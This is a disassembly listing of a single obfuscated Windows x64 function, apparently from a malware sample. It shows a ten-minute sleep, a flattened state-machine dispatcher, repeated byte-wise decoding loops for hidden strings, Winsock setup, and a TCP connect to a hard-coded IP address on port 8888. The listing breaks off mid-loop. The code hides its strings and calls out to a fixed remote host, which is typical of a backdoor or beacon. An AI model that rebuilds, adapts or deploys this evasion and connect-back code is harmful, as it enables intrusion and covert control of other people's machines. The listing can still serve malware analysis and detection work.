Function at 0x140003b80
Capabilities:
Connect socket
Delete file
Initialize winsock library

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x14e0
call fcn.14001bfc0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1438], 0
mov dword [rbp + 0x120c], r9d
mov qword [rbp + 0x11c8], r8
mov qword [rbp + 0x11d0], rdx
mov qword [rbp + 0x11d8], rcx
sub rsp, 0x20
mov ecx, 0x927c0
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov dword [rbp + 0x145c], 0x722bd582
mov eax, dword [rbp + 0x145c]
mov ecx, eax
sub ecx, 0x807e8c2b
je 0x140006452
jmp 0x140003bf1
mov ecx, eax
sub ecx, 0x8477b004
je 0x14000642e
jmp 0x140003c01
mov ecx, eax
sub ecx, 0x897a7f43
je 0x14000699f
jmp 0x140003c11
mov ecx, eax
sub ecx, 0x8e3eb232
je 0x140004121
jmp 0x140003c21
mov ecx, eax
sub ecx, 0x998aa1b3
je 0x140003e96
jmp 0x140003c31
mov ecx, eax
sub ecx, 0x9a464342
je 0x140005878
jmp 0x140003c41
mov ecx, eax
sub ecx, 0xa098fc85
je 0x140006843
jmp 0x140003c51
mov ecx, eax
sub ecx, 0xa1d17f5b
je 0x14000646b
jmp 0x140003c61
mov ecx, eax
sub ecx, 0xaa74eca1
je 0x1400055e0
jmp 0x140003c71
mov ecx, eax
sub ecx, 0xac09e447
je 0x14000697f
jmp 0x140003c81
mov ecx, eax
sub ecx, 0xae491350
je 0x140006937
jmp 0x140003c91
mov ecx, eax
sub ecx, 0xb7e0d20b
je 0x14000427e
jmp 0x140003ca1
mov ecx, eax
sub ecx, 0xb9228073
je 0x1400057ca
jmp 0x140003cb1
mov ecx, eax
sub ecx, 0xbd843878
je 0x1400069bc
jmp 0x140003cc1
mov ecx, eax
sub ecx, 0xc77d5d18
je 0x140004196
jmp 0x140003cd1
mov ecx, eax
sub ecx, 0xdded3574
je 0x1400058a0
jmp 0x140003ce1
mov ecx, eax
sub ecx, 0xe140efdf
je 0x140004148
jmp 0x140003cf1
mov ecx, eax
sub ecx, 0xe60b3e8f
je 0x14000695a
jmp 0x140003d01
mov ecx, eax
sub ecx, 0xebb03aa7
je 0x1400065a3
jmp 0x140003d11
mov ecx, eax
sub ecx, 0xf308927a
je 0x1400041ca
jmp 0x140003d21
mov ecx, eax
sub ecx, 0xf91193b2
je 0x14000558a
jmp 0x140003d31
mov ecx, eax
sub ecx, 0x28b4272
je 0x1400069b0
jmp 0x140003d41
mov ecx, eax
sub ecx, 0xf3d7ea5
je 0x14000416f
jmp 0x140003d51
mov ecx, eax
sub ecx, 0xfa14064
je 0x140005631
jmp 0x140003d61
mov ecx, eax
sub ecx, 0x136c6f86
je 0x1400057a8
jmp 0x140003d71
mov ecx, eax
sub ecx, 0x19dc99c0
je 0x1400055c7
jmp 0x140003d81
mov ecx, eax
sub ecx, 0x2f784698
je 0x1400068c7
jmp 0x140003d91
mov ecx, eax
sub ecx, 0x2faf5201
je 0x1400065cd
jmp 0x140003da1
mov ecx, eax
sub ecx, 0x36ed4786
je 0x140006919
jmp 0x140003db1
mov ecx, eax
sub ecx, 0x3c31850c
je 0x140006973
jmp 0x140003dc1
mov ecx, eax
sub ecx, 0x3fd08bc4
je 0x14000555f
jmp 0x140003dd1
mov ecx, eax
sub ecx, 0x447c16a7
je 0x14000581c
jmp 0x140003de1
mov ecx, eax
sub ecx, 0x44d32f14
je 0x140006928
jmp 0x140003df1
mov ecx, eax
sub ecx, 0x459d2f41
je 0x140006834
jmp 0x140003e01
mov ecx, eax
sub ecx, 0x4e91d0d1
je 0x140005869
jmp 0x140003e11
mov ecx, eax
sub ecx, 0x6179ee71
je 0x1400055f9
jmp 0x140003e21
mov ecx, eax
sub ecx, 0x64aa435a
je 0x140003eaf
jmp 0x140003e31
mov ecx, eax
sub ecx, 0x722bd582
je 0x140003e6f
jmp 0x140003e3d
mov ecx, eax
sub ecx, 0x796c651c
je 0x140004215
jmp 0x140003e4d
mov ecx, eax
sub ecx, 0x7a96e54e
je 0x1400055a3
jmp 0x140003e5d
sub eax, 0x7e4b1c01
je 0x140005618
jmp 0x140003e6a
jmp 0x1400069c6
sub rsp, 0x20
call fcn.140007df0
add rsp, 0x20
mov ecx, 0x998aa1b3
mov edx, 0x64aa435a
test al, 1
cmovne ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
mov dword [rbp + 0x1438], 1
mov dword [rbp + 0x145c], 0x897a7f43
jmp 0x1400069c6
sub rsp, 0x20
call fcn.140007d70
call fcn.140007020
add rsp, 0x20
lea r9, [0x140008370]
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
mov r8d, 0x1388
call qword [sym.imp.USER32.dll_SetTimer]
add rsp, 0x20
mov qword [rbp + 0x11e0], rax
sub rsp, 0x20
call section..text
add rsp, 0x20
mov dword [rbp + 0x13a8], 0x101
lea rcx, [rbp + 0x7a0]
sub rsp, 0x20
call fcn.1400069d0
add rsp, 0x20
lea rsi, [rbp + 0x7a0]
add rsi, 0x200
lea rcx, [rbp + 0x1398]
sub rsp, 0x20
call fcn.140006b70
add rsp, 0x20
lea rax, [rbp + 0x1398]
mov qword [rbp + 0x1410], rax
mov eax, 0x14841636
mov ecx, eax
sub ecx, 0xfcc97a91
je 0x140004061
jmp 0x140003f57
mov ecx, eax
sub ecx, 0x14841636
je 0x140003f72
jmp 0x140003f63
mov ecx, eax
sub ecx, 0x6a90793c
je 0x140003f8f
jmp 0x14000405c
mov rcx, qword [rbp + 0x1410]
mov eax, 0x6a90793c
mov edx, 0xfcc97a91
cmp byte [rcx + 0xe], 0
cmove eax, edx
jmp 0x14000405c
mov r8, qword [rbp + 0x1410]
mov rax, qword [rbp + 0x1410]
mov qword [rbp + 0x1288], rax
xor ecx, ecx
mov eax, 0xb21cc6c2
mov edx, eax
sub edx, 0xb21cc6c2
je 0x140003feb
jmp 0x140003fb7
mov edx, eax
sub edx, 0xc099ffe0
je 0x140004057
jmp 0x140003fc7
mov edx, eax
sub edx, 0xc16a63a4
je 0x140004004
jmp 0x140003fd3
mov edx, eax
sub edx, 0xe4278ce0
je 0x140004046
jmp 0x140003fdf
mov edx, eax
sub edx, 0xf1a9ee70
je 0x140003ffd
jmp 0x140004052
mov eax, 0xf1a9ee70
mov edx, 0xc16a63a4
cmp ecx, 0xf
cmovl eax, edx
jmp 0x140004052
mov eax, 0xc099ffe0
jmp 0x140004052
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
add dl, 0x3f
add dl, 0x34
sub dl, 0x3f
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1288]
mov byte [rax + r9], r11b
mov eax, 0xe4278ce0
jmp 0x140004052
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, 0xb21cc6c2
jmp 0x140003fab
mov eax, 0xfcc97a91
jmp 0x140003f47
mov rax, qword [rbp + 0x1410]
mov rax, qword [rbp + 0x1398]
mov qword [rsi], rax
mov eax, dword [rbp + 0x13a0]
mov dword [rsi + 8], eax
mov ax, word [rbp + 0x13a4]
mov word [rsi + 0xc], ax
mov al, byte [rbp + 0x13a6]
mov byte [rsi + 0xe], al
mov edx, dword [rbp + 0x13a8]
lea rcx, [rbp + 0x7a0]
sub rsp, 0x20
call fcn.140008380
add rsp, 0x20
lea rcx, [rbp + 0x7a0]
sub rsp, 0x20
call fcn.1400083f0
add rsp, 0x20
and al, 1
mov byte [rbp + 0x145b], al
lea rcx, [rbp + 0x7a0]
add rcx, 0x400
sub rsp, 0x20
call fcn.140007820
add rsp, 0x20
lea rcx, [rbp + 0x7a0]
add rcx, 0x600
sub rsp, 0x20
call fcn.1400078b0
add rsp, 0x20
mov al, byte [rbp + 0x145b]
and al, 1
movzx eax, al
mov ecx, 0xae491350
mov edx, 0x8e3eb232
cmp eax, 1
cmove ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
sub rsp, 0x20
call fcn.1400073b0
add rsp, 0x20
mov ecx, 0xae491350
mov edx, 0xe140efdf
test al, 1
cmovne ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
sub rsp, 0x20
call fcn.140007310
add rsp, 0x20
mov ecx, 0xae491350
mov edx, 0xf3d7ea5
test al, 1
cmovne ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
sub rsp, 0x20
call fcn.140007440
add rsp, 0x20
mov ecx, 0xae491350
mov edx, 0xc77d5d18
test al, 1
cmovne ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
lea rdx, [rbp + 0x3f8]
sub rsp, 0x20
mov ecx, 0x202
call sub.WS2_32.dll_WSAStartup
add rsp, 0x20
mov ecx, 0x44d32f14
mov edx, 0xf308927a
cmp eax, 0
cmove ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
mov dword [rbp + 0x13ac], 0x22b8
sub rsp, 0x20
mov ecx, 2
mov edx, 1
xor r8d, r8d
call sub.WS2_32.dll_socket
add rsp, 0x20
mov qword [rbp + 0xdb0], rax
mov eax, 0xa098fc85
mov ecx, 0x796c651c
cmp qword [rbp + 0xdb0], 0xffffffffffffffff
cmovne eax, ecx
mov dword [rbp + 0x145c], eax
jmp 0x1400069c6
mov dword [rbp + 0x1294], 0x393e807d
mov word [rbp + 0x1290], 2
mov ecx, dword [rbp + 0x13ac]
sub rsp, 0x20
call sub.WS2_32.dll_htons
add rsp, 0x20
mov word [rbp + 0x1292], ax
mov rcx, qword [rbp + 0xdb0]
lea rdx, [rbp + 0x1290]
sub rsp, 0x20
mov r8d, send
call sub.WS2_32.dll_connect
add rsp, 0x20
mov ecx, 0x459d2f41
mov edx, 0xb7e0d20b
cmp eax, 0xffffffff
cmovne ecx, edx
mov dword [rbp + 0x145c], ecx
jmp 0x1400069c6
lea rcx, [rbp + 0xf70]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x104
call fcn.140035a20
add rsp, 0x20
lea rcx, [rbp + 0x11f8]
sub rsp, 0x20
call fcn.140006b90
add rsp, 0x20
lea rax, [rbp + 0x11f8]
mov qword [rbp + 0x1408], rax
mov eax, 0xf49f98a9
mov ecx, eax
sub ecx, 0xaa06e013
je 0x140004309
jmp 0x1400042cd
mov ecx, eax
sub ecx, 0xf49f98a9
je 0x1400042ec
jmp 0x1400042d9
mov ecx, eax
sub ecx, 0x29b94d6c
je 0x140004512
jmp 0x14000450d
mov rcx, qword [rbp + 0x1408]
mov eax, 0xaa06e013
mov edx, 0x29b94d6c
cmp byte [rcx + 0x13], 0
cmove eax, edx
jmp 0x14000450d
mov r8, qword [rbp + 0x1408]
mov rax, qword [rbp + 0x1408]
mov qword [rbp + 0x1280], rax
xor ecx, ecx
mov eax, 0x564b8ba7
mov edx, eax
sub edx, 0x83c6d26f
je 0x140004498
jmp 0x140004335
mov edx, eax
sub edx, 0xad4d204d
je 0x140004491
jmp 0x140004345
mov edx, eax
sub edx, 0xe928260a
je 0x140004508
jmp 0x140004355
mov edx, eax
sub edx, 0x9adcf5a
je 0x1400044e6
jmp 0x140004365
mov edx, eax
sub edx, 0x499954aa
je 0x140004477
jmp 0x140004375
mov edx, eax
sub edx, 0x564b8ba7
je 0x1400043a0
jmp 0x140004381
mov edx, eax
sub edx, 0x5bc17f62
je 0x1400044fc
jmp 0x140004391
mov edx, eax
sub edx, 0x6afabd5a
je 0x140004404
jmp 0x140004503
mov eax, dword [0x140044bf0]
mov edx, dword [0x140044bf4]
mov r9d, eax
add r9d, 0xcbb1bc95
add r9d, 1
sub r9d, 0xcbb1bc95
imul r9d, eax
mov eax, 0xffffffff
xor eax, 1
mov r10d, r9d
xor r10d, eax
and r10d, r9d
cmp r10d, 0
sete al
cmp edx, 0xa
setl dl
mov r9b, dl
and r9b, al
xor dl, al
or r9b, dl
mov eax, 0x5bc17f62
mov edx, 0x6afabd5a
test r9b, 1
cmovne eax, edx
jmp 0x140004503
cmp ecx, 0x14
setl al
and al, 1
mov byte [rbp + 0x1453], al
mov eax, dword [0x140044bf0]
mov edx, dword [0x140044bf4]
xor r9d, r9d
sub r9d, eax
xor r10d, r10d
sub r10d, 1
add r9d, r10d
xor r10d, r10d
sub r10d, r9d
imul r10d, eax
mov eax, 0xffffffff
xor eax, 1
mov r9d, r10d
xor r9d, eax
and r9d, r10d
cmp r9d, 0
sete al
cmp edx, 0xa
setl dl
mov r9b, dl
and r9b, al
xor dl, al
or r9b, dl
mov eax, 0x5bc17f62
mov edx, 0x499954aa
test r9b, 1
cmovne eax, edx
jmp 0x140004503
mov dl, byte [rbp + 0x1453]
mov eax, 0xad4d204d
mov r9d, 0x83c6d26f
test dl, 1
cmovne eax, r9d
jmp 0x140004503
mov eax, 0xe928260a
jmp 0x140004503
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub al, 0x34
sub dl, al
mov al, r10b
xor al, 0xff
and al, 0x10
mov r11b, 0xff
xor r11b, 0x10
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x10
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1280]
mov byte [rdx + r9], al
mov eax, 0x9adcf5a
jmp 0x140004503
sub ecx, 0xd59c3232
add ecx, 1
add ecx, 0xd59c3232
mov eax, 0x564b8ba7
jmp 0x140004503
mov eax, 0x6afabd5a
jmp 0x140004503
jmp 0x140004325
mov eax, 0x29b94d6c
jmp 0x1400042c1
mov rax, qword [rbp + 0x1408]
lea rcx, [rbp + 0xf70]
lea rdx, [rbp + 0x11f8]
sub rsp, 0x20
call fcn.140002030
add rsp, 0x20
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0xf70]
sub rsp, 0x20
call fcn.140001f80
add rsp, 0x20
lea rcx, [rbp + 0xf70]
lea rdx, [0x14003dcf8]
sub rsp, 0x20
call fcn.140001f80
add rsp, 0x20
lea rcx, [rbp + 0x1080]
sub rsp, 0x20
xor edx, edx
mov r8d, 0x100
call fcn.140035a20
add rsp, 0x20
lea rsi, [rbp + 0x1080]
lea rcx, [rbp + 0x12b8]
sub rsp, 0x20
call fcn.140006bb0
add rsp, 0x20
lea rax, [rbp + 0x12b8]
mov qword [rbp + 0x1400], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x1400046d6
jmp 0x1400045c4
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x1400045df
jmp 0x1400045d0
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x1400045fc
jmp 0x1400046d1
mov rcx, qword [rbp + 0x1400]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x1400046d1
mov r8, qword [rbp + 0x1400]
mov rax, qword [rbp + 0x1400]
mov qword [rbp + 0x1278], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x1400046cc
jmp 0x140004628
mov edx, eax
sub edx, 0x39a5c019
je 0x14000466a
jmp 0x140004634
mov edx, eax
sub edx, 0x645777bf
je 0x1400046b3
jmp 0x140004640
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140004671
jmp 0x14000464c
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004658
jmp 0x1400046c7
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x1400046c7
mov eax, 0xbd351f6
jmp 0x1400046c7
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
add dl, 0xa0
add dl, 0x34
sub dl, 0xa0
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1278]
mov byte [rax + r9], r11b
mov eax, 0x645777bf
jmp 0x1400046c7
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0x7cf5671c
jmp 0x140004618
mov eax, 0xb3e02981
jmp 0x1400045b4
mov rax, qword [rbp + 0x1400]
mov rax, qword [rbp + 0x12b8]
mov qword [rsi], rax
mov rax, qword [rbp + 0x12c0]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x12c8]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0x20
lea rcx, [rbp + 0x12d0]
sub rsp, 0x20
call fcn.140006bd0
add rsp, 0x20
lea rax, [rbp + 0x12d0]
mov qword [rbp + 0x13f8], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x14000484f
jmp 0x14000473f
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x14000475a
jmp 0x14000474b
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x140004777
jmp 0x14000484a
mov rcx, qword [rbp + 0x13f8]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x14000484a
mov r8, qword [rbp + 0x13f8]
mov rax, qword [rbp + 0x13f8]
mov qword [rbp + 0x1270], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x140004845
jmp 0x1400047a3
mov edx, eax
sub edx, 0x39a5c019
je 0x1400047e5
jmp 0x1400047af
mov edx, eax
sub edx, 0x645777bf
je 0x140004834
jmp 0x1400047bb
mov edx, eax
sub edx, 0x6b8c74ab
je 0x1400047ec
jmp 0x1400047c7
mov edx, eax
sub edx, 0x7cf5671c
je 0x1400047d3
jmp 0x140004840
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x140004840
mov eax, 0xbd351f6
jmp 0x140004840
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub al, dl
xor edx, edx
sub dl, 0x34
add al, dl
xor edx, edx
sub dl, al
mov al, r10b
xor al, 0xff
mov r11b, dl
and r11b, al
xor dl, 0xff
and r10b, dl
or r11b, r10b
mov rax, qword [rbp + 0x1270]
mov byte [rax + r9], r11b
mov eax, 0x645777bf
jmp 0x140004840
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, 0x7cf5671c
jmp 0x140004793
mov eax, 0xb3e02981
jmp 0x14000472f
mov rax, qword [rbp + 0x13f8]
mov rax, qword [rbp + 0x12d0]
mov qword [rsi], rax
mov rax, qword [rbp + 0x12d8]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x12e0]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0x40
lea rcx, [rbp + 0x12e8]
sub rsp, 0x20
call fcn.140006bf0
add rsp, 0x20
lea rax, [rbp + 0x12e8]
mov qword [rbp + 0x13f0], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x1400049dd
jmp 0x1400048b8
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x1400048d3
jmp 0x1400048c4
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x1400048f0
jmp 0x1400049d8
mov rcx, qword [rbp + 0x13f0]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x1400049d8
mov r8, qword [rbp + 0x13f0]
mov rax, qword [rbp + 0x13f0]
mov qword [rbp + 0x1268], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x1400049d3
jmp 0x14000491c
mov edx, eax
sub edx, 0x39a5c019
je 0x140004962
jmp 0x140004928
mov edx, eax
sub edx, 0x645777bf
je 0x1400049ba
jmp 0x140004938
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140004969
jmp 0x140004944
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004950
jmp 0x1400049ce
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x1400049ce
mov eax, 0xbd351f6
jmp 0x1400049ce
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
add dl, 0x24
add dl, 0x34
sub dl, 0x24
mov al, r10b
xor al, 0xff
and al, 0xd5
mov r11b, 0xff
xor r11b, 0xd5
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0xd5
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1268]
mov byte [rdx + r9], al
mov eax, 0x645777bf
jmp 0x1400049ce
sub ecx, 0x402220ac
add ecx, 1
add ecx, 0x402220ac
mov eax, 0x7cf5671c
jmp 0x14000490c
mov eax, 0xb3e02981
jmp 0x1400048a8
mov rax, qword [rbp + 0x13f0]
mov rax, qword [rbp + 0x12e8]
mov qword [rsi], rax
mov rax, qword [rbp + 0x12f0]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x12f8]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0x60
lea rcx, [rbp + 0x1300]
sub rsp, 0x20
call fcn.140006c10
add rsp, 0x20
lea rax, [rbp + 0x1300]
mov qword [rbp + 0x13e8], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x140004b6b
jmp 0x140004a46
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x140004a61
jmp 0x140004a52
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x140004a7e
jmp 0x140004b66
mov rcx, qword [rbp + 0x13e8]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x140004b66
mov r8, qword [rbp + 0x13e8]
mov rax, qword [rbp + 0x13e8]
mov qword [rbp + 0x1260], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x140004b61
jmp 0x140004aaa
mov edx, eax
sub edx, 0x39a5c019
je 0x140004af0
jmp 0x140004ab6
mov edx, eax
sub edx, 0x645777bf
je 0x140004b48
jmp 0x140004ac6
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140004af7
jmp 0x140004ad2
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004ade
jmp 0x140004b5c
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x140004b5c
mov eax, 0xbd351f6
jmp 0x140004b5c
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
sub dl, 0xb3
add dl, 0x34
add dl, 0xb3
mov al, r10b
xor al, 0xff
and al, 0x5e
mov r11b, 0xff
xor r11b, 0x5e
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x5e
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1260]
mov byte [rdx + r9], al
mov eax, 0x645777bf
jmp 0x140004b5c
add ecx, 0x15cb5bb0
add ecx, 1
sub ecx, 0x15cb5bb0
mov eax, 0x7cf5671c
jmp 0x140004a9a
mov eax, 0xb3e02981
jmp 0x140004a36
mov rax, qword [rbp + 0x13e8]
mov rax, qword [rbp + 0x1300]
mov qword [rsi], rax
mov rax, qword [rbp + 0x1308]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x1310]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0x80
lea rcx, [rbp + 0x1318]
sub rsp, 0x20
call fcn.140006c30
add rsp, 0x20
lea rax, [rbp + 0x1318]
mov qword [rbp + 0x13e0], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x140004cf9
jmp 0x140004bd7
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x140004bf2
jmp 0x140004be3
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x140004c0f
jmp 0x140004cf4
mov rcx, qword [rbp + 0x13e0]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x140004cf4
mov r8, qword [rbp + 0x13e0]
mov rax, qword [rbp + 0x13e0]
mov qword [rbp + 0x1258], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x140004cef
jmp 0x140004c3b
mov edx, eax
sub edx, 0x39a5c019
je 0x140004c81
jmp 0x140004c47
mov edx, eax
sub edx, 0x645777bf
je 0x140004cd6
jmp 0x140004c57
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140004c88
jmp 0x140004c63
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004c6f
jmp 0x140004cea
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x140004cea
mov eax, 0xbd351f6
jmp 0x140004cea
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
xor eax, eax
sub al, 0x34
sub dl, al
mov al, r10b
xor al, 0xff
and al, 0xe5
mov r11b, 0xff
xor r11b, 0xe5
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0xe5
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1258]
mov byte [rdx + r9], al
mov eax, 0x645777bf
jmp 0x140004cea
add ecx, 0xc9c9095d
add ecx, 1
sub ecx, 0xc9c9095d
mov eax, 0x7cf5671c
jmp 0x140004c2b
mov eax, 0xb3e02981
jmp 0x140004bc7
mov rax, qword [rbp + 0x13e0]
mov rax, qword [rbp + 0x1318]
mov qword [rsi], rax
mov rax, qword [rbp + 0x1320]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x1328]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0xa0
lea rcx, [rbp + 0x1330]
sub rsp, 0x20
call fcn.140006c50
add rsp, 0x20
lea rax, [rbp + 0x1330]
mov qword [rbp + 0x13d8], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x140004e8a
jmp 0x140004d65
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x140004d80
jmp 0x140004d71
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x140004d9d
jmp 0x140004e85
mov rcx, qword [rbp + 0x13d8]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x140004e85
mov r8, qword [rbp + 0x13d8]
mov rax, qword [rbp + 0x13d8]
mov qword [rbp + 0x1250], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x140004e80
jmp 0x140004dc9
mov edx, eax
sub edx, 0x39a5c019
je 0x140004e0f
jmp 0x140004dd5
mov edx, eax
sub edx, 0x645777bf
je 0x140004e67
jmp 0x140004de5
mov edx, eax
sub edx, 0x6b8c74ab
je 0x140004e16
jmp 0x140004df1
mov edx, eax
sub edx, 0x7cf5671c
je 0x140004dfd
jmp 0x140004e7b
mov eax, 0x39a5c019
mov edx, 0x6b8c74ab
cmp ecx, 0x13
cmovl eax, edx
jmp 0x140004e7b
mov eax, 0xbd351f6
jmp 0x140004e7b
movsxd r9, ecx
mov r10b, byte [r8 + r9]
mov r11d, 0x36
mov eax, ecx
cdq
idiv r11d
add dl, 0xf5
add dl, 0x34
sub dl, 0xf5
mov al, r10b
xor al, 0xff
and al, 0x8f
mov r11b, 0xff
xor r11b, 0x8f
and r10b, r11b
mov bl, dl
xor bl, 0xff
and bl, 0x8f
and dl, r11b
or al, r10b
or bl, dl
xor al, bl
mov rdx, qword [rbp + 0x1250]
mov byte [rdx + r9], al
mov eax, 0x645777bf
jmp 0x140004e7b
sub ecx, 0xa5fb16cf
add ecx, 1
add ecx, 0xa5fb16cf
mov eax, 0x7cf5671c
jmp 0x140004db9
mov eax, 0xb3e02981
jmp 0x140004d55
mov rax, qword [rbp + 0x13d8]
mov rax, qword [rbp + 0x1330]
mov qword [rsi], rax
mov rax, qword [rbp + 0x1338]
mov qword [rsi + 8], rax
mov ax, word [rbp + 0x1340]
mov word [rsi + 0x10], ax
lea rsi, [rbp + 0x1080]
add rsi, 0xc0
lea rcx, [rbp + 0x1348]
sub rsp, 0x20
call fcn.140006d60
add rsp, 0x20
lea rax, [rbp + 0x1348]
mov qword [rbp + 0x13d0], rax
mov eax, 0xf3bfe5a5
mov ecx, eax
sub ecx, 0xb3e02981
je 0x140005008
jmp 0x140004ef6
mov ecx, eax
sub ecx, 0xf3bfe5a5
je 0x140004f11
jmp 0x140004f02
mov ecx, eax
sub ecx, 0x2a5d1868
je 0x140004f2e
jmp 0x140005003
mov rcx, qword [rbp + 0x13d0]
mov eax, 0x2a5d1868
mov edx, 0xb3e02981
cmp byte [rcx + 0x12], 0
cmove eax, edx
jmp 0x140005003
mov r8, qword [rbp + 0x13d0]
mov rax, qword [rbp + 0x13d0]
mov qword [rbp + 0x1248], rax
xor ecx, ecx
mov eax, 0x7cf5671c
mov edx, eax
sub edx, 0xbd351f6
je 0x140004ffe
jmp 0x140004f5a
mov edx, eax
sub edx, 0x39a5c019
je 0x140004f9c
jmp 0x140004f66
mov edx, eax
sub edx, 0x645777bf
je 0x140004fe5
jmp 0x140004f72
mov edx, eax
sub edx, 0x6b8c74ab
